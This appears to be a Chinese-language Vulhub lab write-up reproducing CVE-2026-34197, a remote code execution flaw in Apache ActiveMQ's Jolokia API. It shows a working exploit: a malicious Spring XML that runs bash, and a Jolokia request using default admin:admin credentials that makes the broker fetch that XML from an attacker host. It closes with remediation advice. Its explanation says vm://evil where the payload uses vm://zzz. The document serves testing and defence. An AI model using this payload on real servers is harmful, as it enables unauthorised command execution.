# Apache ActiveMQ Jolokia 远程代码执行漏洞 CVE-2026-34197

## 漏洞描述

[Apache ActiveMQ](https://activemq.apache.org/) 是 Apache 软件基金会开发的一款开源消息中间件，支持 Java 消息服务（JMS）、集群、Spring 框架集成等功能。

CVE-2026-34197 是 Apache ActiveMQ 5.19.4 版本之前以及 6.0.0 至 6.2.3 版本之前存在的一个远程代码执行漏洞。Jolokia JMX-HTTP 桥接暴露了 ActiveMQ 自身 MBeans 上的操作，其中包括 Broker MBean 上的 `addNetworkConnector(String)` 方法。经过认证的攻击者可以调用该操作，传入一个精心构造的 `vm://` 传输 URI，其中包含指向攻击者控制的 Spring XML 配置文件的 `brokerConfig` 参数。当 ActiveMQ 处理该 URI 时，会获取并解析远程 XML 配置，从而触发 Spring Bean 实例化并执行任意代码。

该漏洞可以与 CVE-2024-32114（ActiveMQ 6.0.0 至 6.1.1 版本中 Jolokia 未授权访问）组合利用实现未授权 RCE，也可以在需要 API 认证的版本上使用默认凭据（`admin:admin`）进行利用。

参考链接：

- https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
- https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
- https://github.com/advisories/GHSA-rxpj-7qvf-xv32

## 漏洞影响

```
Apache ActiveMQ < 5.19.4  
6.0.0 <= Apache ActiveMQ < 6.2.3
```

## 环境搭建

Vulhub 执行如下命令启动 Apache ActiveMQ 6.2.2：

```
docker compose up -d
```

服务启动后，访问 `http://your-ip:8161` 即可看到 ActiveMQ Web 控制台，使用默认凭据 `admin:admin` 登录。

![](images/Apache%20ActiveMQ%20Jolokia%20远程代码执行漏洞%20CVE-2026-34197/image-20260423231337473.png)

## 漏洞复现

与 [CVE-2024-32114](https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2024-32114) 的环境（ActiveMQ 6.1.1）不同，ActiveMQ 6.2.2 已对 Jolokia API 增加了认证要求。未携带凭据发送请求将返回 401 Unauthorized：

![](images/Apache%20ActiveMQ%20Jolokia%20远程代码执行漏洞%20CVE-2026-34197/image-20260423225019242.png)

但由于 CVE-2026-34197 是一个认证后的 RCE 漏洞，攻击者可以使用默认凭据 `admin:admin` 进行利用。

首先，在攻击机上启动一个 HTTP 服务器，用于托管恶意 Spring XML 配置文件。以下示例会在目标服务器上执行 `id > /tmp/awesome_poc` 命令：

```
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[id > /tmp/awesome_poc]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>
```

在 `poc.xml` 所在目录启动 HTTP 服务器：

```
python3 -m http.server 9999
```

然后，使用默认凭据发送如下请求到 Jolokia API 来调用 Broker MBean 上的 `addNetworkConnector` 操作。该请求创建一个使用 `static:` 发现 URI 的网络连接器，指向一个 `vm://` 传输，其 `brokerConfig` 参数通过 Spring 的 `xbean:` 资源加载引用攻击者的恶意 XML。`evil-ip` 为攻击者 HTTP 服务器地址：

```
POST /api/jolokia HTTP/1.1
Host: your-ip:8161
Referer: http://your-ip:8161/api/jolokia
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Origin: http://your-ip:8161
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 209

{"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://zzz?brokerConfig=xbean:http://evil-ip/poc.xml)"]}
```

当 ActiveMQ 处理该网络连接器时，它会尝试连接到 `vm://evil` 代理。由于名为 "evil" 的代理不存在，ActiveMQ 会使用 `brokerConfig` 参数来创建它。`xbean:` 前缀告诉 ActiveMQ 使用 Spring 的 `ResourceXmlApplicationContext` 来加载配置，该机制支持 HTTP URL。Spring 解析远程 XML 并实例化所有定义的 Bean——包括我们的 `ProcessBuilder` Bean，其 `start()` 初始化方法会执行操作系统命令。

![](images/Apache%20ActiveMQ%20Jolokia%20远程代码执行漏洞%20CVE-2026-34197/image-20260423230954816.png)

通过检查容器内的结果文件来验证命令已执行：

```
docker compose exec activemq ls -al /tmp/
```

![](images/Apache%20ActiveMQ%20Jolokia%20远程代码执行漏洞%20CVE-2026-34197/image-20260423230213462.png)

```
docker compose exec activemq cat /tmp/awesome_poc
```

![](images/Apache%20ActiveMQ%20Jolokia%20远程代码执行漏洞%20CVE-2026-34197/image-20260423230318033.png)

## 漏洞修复

- 升级至最新版本。
- 设置 Activemq 管理控制界面仅对可信地址开放。
- 修改 Activemq web 控制台默认口令。
